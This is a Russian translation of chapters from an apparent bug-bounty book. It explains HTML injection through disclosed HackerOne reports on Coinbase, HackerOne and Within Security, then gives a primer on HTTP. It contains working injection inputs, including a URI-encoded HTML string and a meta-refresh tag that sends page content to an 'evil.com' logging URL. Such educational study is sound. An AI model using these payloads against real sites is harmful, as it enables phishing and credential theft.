ardan

Инъекции Hypertext Markup Language (HTML), также иногда называемые виртуальным дефейсом. Они являются типом атаки, которая благодаря отсутствию надлежащей обработки пользовательского ввода позволяет злоумышленнику встроить на сайт собственный HTML-код. Другими словами, такая уязвимость вызывается получением некорректного HTML, как правило, через форму ввода, а затем рендер этого HTML на странице. Это отдельный тип уязвимости, который следует отличать от инъекции Javascript, VBscript и прочих. Поскольку HTML является языком, используемым для определения структуры веб-страницы, если злоумышленник может внедрить HTML, он может полностью изменить то, что отображает браузер. Иногда результатом этого может стать полное изменение внешнего вида страницы или, в других случаях, создание формы для обмана пользователей. Например, если вы можете внедрить HTML, вы можете добавить тег “‘ ‘ на страницы, прося пользователя заново ввести его логин и пароль. Однако, при отправке такая форма передаст информацию злоумышленнику. Примеры HTML иньекций. 1. Комментарии на Coinbase Сложность: Низкая Url: coinbase.com/apps Ссылка на отчет: https://hackerone.com/reports/1045431 Дата отчета: 10 декабря 2015 Выплаченное вознаграждение: $200 Описание: В этой уязвимости автор отчета обнаружил, что Coinbase напрямую декодирует закодированные в URI значения при рендере страницы. Для тех, кто не знаком с этим (так, как был не знаком я на момент написания этого текста), поясню: символы в URI являются зарезервированными или незарезервированными. В Wikipedia написано, что зарезервированными являются символы, которые в некоторых случаях имеют специальное значение, вроде / или &. Незарезервированные все, не имеющие специального значения, обычно это буквы. Таким образом, когда символ закодирован в URI, он конвертируется в свое байтовое значение в соответствии с ASCII и получает префикс в виде знака процента (%). Это значит, что / станет %2F, & превратится в %26. Кроме того, ASCII была наиболее распространенной кодировкой в интернете до появления UTF-8, еще одного типа кодировок. Теперь, вернемся к нашему примеру, если хакер введет HTML таким образом: 1 <h1>This is a test</h1> Coinbase отрендерил бы его как обычный текст, в точности как вы видите выше. Однако, если бы пользователь отправил закодированные символы ASCII: 1 2 3 %3C%68%31%3E%54%68%69%73%20%69%73%20%61%20%74%65%73%74% 3C%2F%68%31%3E Coinbase декодировал бы эту строку отрендерил соответствующие символы: This is a test Таким образом, исследователь продемонстрировал, как он может отправить HTML-форму с полями для имени пользователя и пароля, которые были бы отрендерены Coinbase. Если бы исследователь был злоумышленником, форма могла бы быть отрендерена на Coinbase и смогла бы отправлять вводимые в неё значения на сайт злоумышленника для получения им данных доступа (предполагаем, что люди заполнят и отправят форму). Выводы Когда вы тестируете сайт, проверьте, как он обрабатывает разные типы ввода, включая простой текст и закодированный текст. Замечайте случаи, когда сайты принимают URI-закодированные значения, такие, как %2F и рендерят их декодированные значения, в этом случае /. Хотя мы не знаем, о чем думал хакер в этом примере, возможно, он попробовал закодировать в URI запрещенные символы и заметил, что Coinbase их декодирует. Затем он просто пошел немного дальше и закодировал в URI все символы. Отличный кодер/декодер HTML-символов: http://quick-encoder.com/url2. Пользуясь им, вы заметите, что он будет вам сообщать о незапрещенных символах, которые не нуждаются в кодировании, и позволит вам, кодировать ли такие символы или нет. Так вы сможете получить такую же закодированную строку, как та, что была использована на Coinbase. 2. Непреднамеренное включение HTML на HackerOne Сложность: Средняя Url: hackerone.com Ссылка на отчет: https://hackerone.com/reports/1129353 Дата отчета: 26 января 2016 Выплаченное вознаграждение: $500 Описание: После прочтения о XSS на Yahoo! (пример 4 в главе 7) я стал одержим тестированием того, как рендерится HTML в текстовых редакторах. Это включало в себя игру с Markdownредактором на HackerOne, ввод значений вроде ismap= “yyy=xxx” и “‘test” в теги изображений. Занимаясь этим, я заметил, что редактор включает одиночную кавычку (апостроф) внутри двойных, это известно как “повисшая кавычка”. На тот момент я не совсем понимал возможные последствия. Я знал, что если вы внедрите еще одну одиночную кавычку куда-нибудь, они вместе будут считаны браузером, который сочтет все содержимое между ними одним HTML-элементом. Вот пример: 1 <h1>This is a test</h1><p class=”some class”>some conte 2 nt</p>’ С этим примером, если вы сможете внедрить мета-тег вроде: 1 2 &lt;meta http-equiv=”refresh” content=’0; url=https://evil .com/log.php?text= то браузер отправит все, что находится между двумя одиночными кавычками. Оказалось, что эта уязвимость известна и описана в отчете на HackerOne #1105784 хакером intidc (https://hackerone.com/intidc). Когда отчет опубликовали, я немного расстроился. В соответствии с тем, что написано на HackerOne, они полагаются на реализацию Redcarpet (Ruby-библиотека для процессинга Markdown) для экранирования HTML-вывода любого Markdown-ввода, который затем передается напрямую в HTML DOM (то есть, на веб-страницу) через dangerouslySetInnerHTML в их компоненте React. Уточню, что React является библиотекой, написанной на Javascript и используемой для динамического обновления содержимого веб-страницы без её обновления. DOM опирается на программный интерфейс приложения, откуда берет валидный HTML и правильно сформированные XML-документы. В общем, в соответствии со статьей на Wikipedia, DOM является кросплатформенным и независимым от языка соглашением по отображению и взаимодействию с объектами в HTML, XHTML и XSS документах. На HackerOne разработчики не экранировали HTML-вывод должным образом, что вело к потенциальному эксплоиту. Это значит, что, глядя на отчет, я подумал, что стоит протестировать новый код. Я вернулся и провел тест, добавив: 1 2 [test](http://www.torontowebsitedeveloper.com ”test ism ap=”alert xss” yyy=”test””) что обратилось в: 1 2 <a title=”’test” ismap=”alert xss” yyy=”test” &#39; ref =”http://www.toronotwebsitedeveloper.com”>test</a> Как видите, я смог внедрить кучу HTML в тег Одно лишь то, что код был обновлен, не значит, что что-то было исправлено. Проверяйте. Когда выкатывают обновление, это так же значит, что новый код может содержать баги. 3. Подмена содержимого на Within Security Хотя подмена содержимого технически является другим типом уязвимости, отличным от HTML инъекции, я решил включить её сюда, поскольку она разделяет похожую природу действий, совершаемых хакером для подмены контента, который показывает сайт. HackerOne). Белый хакер сообщил, что в процессе входа на сайт происходит ошибка: сайт отображает сообщение об ошибке, которое содержится в URL. Стандартным поведением сайта было error=access_denied: https://withinsecurity.com/wp-login.php?error=access_denied 1 [/size][/font] Ключевым моментом было то, что хакер заметил, что параметр из URL был отображен на странице. Хотя они не объясняли деталей, я предполагаю, что хакер заметил, что access_denied был отображен на странице, но также содержался и в URL. Простая проверка, изменяющая значение access_denied, вероятно, и открыла уязвимость этого примера, о чем и было сообщено. Будьте внимательны к передаваемым параметрам URL, которые отображаются в виде содержимого сайта. Они могут содержать возможные точки атаки, позволяющие хакерам обманывать свои жертвы и заставлять их выполнять вредные действия. HTML инъекция является уязвимостью для сайтов и разработчиков, поскольку может быть испольщована для того, чтобы обмануть пользователей и заставить их отправить личные данные или посетить сайты злоумышленников. Это уже называется фишинговой атакой. Обнаружение этих уязвимостей не всегда требует отправки простого HTML, оно может включать в себя исследование того, как сайт может рендерить введенные значения, такие как закодированные символы URI. И хотя это не совсем та же HTML инъекция, подмена контента подобна ей в том, что включает в себя некоторый отраженный на полученную пользователем страницу ввод. Хакеры должны быть внимательны к возможностям манипулирования параметрами URL и тому, как они отображаются на сайте.

Если вы начинаете с нуля, как начинал я, и эта книга один из первых совершенных вами шагов в мир хакинга, для вас важно буде понимать, как работает интернет. Прежде, чем вы перевернете эту страницу, я хочу сказать, что имею ввиду то, как URL, который вы набираете в адресной строке, связывается с доменом, который направляется на IP-адрес, и так далее. Одним предложением: Интернет это множество систем, которые связаны вместе и отправляют друг другу сообщения. Некоторые принимают только определенные типы сообщений, другие принимают сообщения только от ограниченного списка других систем, но каждая система в интернете имеет адрес, чтобы люди могли отправлять ей сообщения. Каждая система решает, что ей делать с сообщением и как она будет отвечать. Чтобы определить структуру этих сообщений, люди задокументировали то, как некоторые из этих систем должны общаться в Requests for Comments (RFC). Например, взгляните на HTTP. HTTP определяет протокол того, как ваш интернетбраузер общается с веб-сервером. Поскольку ваш интернетбраузер и веб-сервер действуют в соответствии с одним и тем же протоколом, они могут общаться. Как работает ваш браузер. Когда вы вводите http://www.google.com в адресной строке своего браузера и нажимаете enter, следующие шаги описывают то, что происходит на высшем уровне:Ваш браузер извлекает имя домена из URL, www.google.com. Ваш компьютер отправляет DNS запрос к DNS-серверам, описанным в конфигурации вашего компьютера. DNS может помочь определить IP-адрес для доменного имени, в этом случае он равен 216.58.201.228. Подсказка: вы можете использовать dig a www.google.com из своего терминала, чтобы узнать IP-адрес для домена. Ваш компьютер пытается установить TCP-соединение с IP-адресом на порту 80, который используется для передачи и получения HTTP-трафика. Подсказка: вы можете установить TCP-соединение, выполнив nc 216.58.201.228 80 из своего терминала Если соединение успешно установлено, ваш браузер отправит HTTP-запрос, подобный этому: 1 2 3 4 1 GET / HTTP/1.1 2 Host: www.google.com 3 Connection: keep-alive 4 Accept: application/html, */* Теперь он будет ждать ответа от сервера, который будет выглядеть примерно так: 1 2 3 4 5 6 7 8 9 10 1 HTTP/1.1 200 OK 2 Content-Type: text/html 3 4 <html> 5 <head> 6 <title>Google.com</title> 7 </head> 8 <body> 9 ... 10 </body> 11 </html> Ваш браузер прочтет и отрисует возвращенный HTML, CSS и Javascipt. В этом случае, на экране появится главная страница Google.com. Методы передачи запросов в HTTP протоколе. Теперь, когда мы закончили с браузером, интернетом и HTML, как упомянуто ранее, существует сообщение о том, как эти сообщения будут отправляться, включая конкретные используемые методы, и требования к заголовку-запросу для всех HTTP/1.1 запросов, как обозначено в пункте 4. Описанные методы включают GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT и OPTIONS. Метод GET означает запрос произвольной информации, обозначенной URI. Термин URI может быть непонятным, особенно в сочетании с указанным ранее URL, но для целей этой книги просто знайте, что URL это как адрес человека, и является типом URI, который подобен имени человека (спасибо, Wikipedia). Хотя HTTP-полиции не существует, обычно GET-запросы не должны быть ассоциированы с какими-либо функциями, изменяющими данные, они просто получают и предоставляют информацию. Метод HEAD идентичен GET, с единственным отличием: сервер не должен возвращать тело сообщения в ответе. Обычно вы встретите случаев, когда он применяется, но он нередко служит для тестирования гипертекстовых ссылок на валидность, доступность и недавние изменения. Метод POST используется для вызова некоторой функции, которая будет выполнена на сервере способом, определенным этим сервером. Другими словами, обычно на бэкенде будет выполнено некоторое действие, такое, как создание комментария, регистрация пользователя, удаление аккаунта, и так далее. Действие, выполняемое сервером в ответ на POST, может варьироваться и не обязательно вызывается в результате запроса. Например, если в процессе обработки запроса возникла ошибка. Метод PUT используется при вызове какой-либо функции, но относится к уже существующей сущности. Например, при обновлении вашего аккаунта, обновлении поста в блоге, и так далее. Опять же, выполняемое действие может варьироваться и не обязательно вызывается в результате запроса Метод DELETE, как несложно догадаться, используется для вызова запроса на удаление ресурса, идентифицированного через URI, обращенного к серверу. Метод TRACEеще один необычный метод, в этот раз используемый для отражения сообщения запроса к тому, кто его запросил. Это позволяет отправителю увидеть, что было получено сервером и использовать эту информацию для тестирования и диагностики. Метод CONNECT зарезервирован для использования с прокси (прокси обычно является сервером, который передает запросы к другим серверам). Метод *OPTIONS используется для запроса с сервера информации о доступных способах общения. Например, запрос OPTIONS может показать, что сервер принимает GET, POST, PUT, DELETE и OPTIONS, но не HEAD или TRACE.